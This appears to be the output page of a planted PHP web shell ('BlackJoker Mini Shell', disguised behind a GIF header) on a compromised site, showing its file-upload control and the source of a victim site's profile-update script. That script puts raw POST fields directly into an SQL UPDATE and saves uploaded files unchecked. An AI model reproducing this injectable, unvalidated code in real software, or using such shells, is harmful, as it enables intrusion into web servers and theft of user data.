GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/m/
Upload File :
Current File : /home/serb/www/m/agency-insert.php

<?
session_start();
	include("lib/globals.php");
 	include("lib/common.php");
 	include("lib/functions.php");
							$date=date('Y-m-d');
							$u_name=$_SESSION['user'];
							
									 
					if($_POST['updtphonetour'])
						{
							$upphonetour='Yes';
						}
						if($_POST['updtphoneescort'])
						{
							$upphoneescort='Yes';
						}
						if($_POST['updateemail'])
						{
							$upemail='Yes';
						}
												
						 
						$desp=addslashes($_POST['aboutme']);
						$wkcountry=addslashes($_POST['wrkcountry']);
						
						if($_FILES['avt_image']['tmp_name'])

							{
					
								$manu_imagename1=time().$_FILES['avt_image']['name'];
					
								move_uploaded_file($_FILES['avt_image']['tmp_name'],'profile_pic/'.$manu_imagename1);
					
							}
							else
							{
								$manu_imagename1=$_POST['agencylogo'];
							}

						$updateagency="UPDATE user_info set agency_name='".$_POST['agencyName']."',pic='$manu_imagename1', agency_ph='".$_POST['phnumber']."',up_phone_tour='$upphonetour',up_phone_escort='$upphoneescort',instruction='".$_POST['instruction']."',email='".$_POST['email']."',email_up='$upemail',webpage='".$_POST['webpage']."',skype='".$_POST['skype']."',msn='".$_POST['msn']."',wrk_location='$wkcountry',agency_about='$desp',update_date='$date' WHERE userid='".$_SESSION['userid']."'";			
					
					
					
					
					$ind_res=execute_query($updateagency);													
					$pid=mysql_insert_id();
					
			?>
				<script language="javascript">
                	location.href="agency-account.php?msg=1";
                </script>
			

./BlackJoker Mini Shell 1.0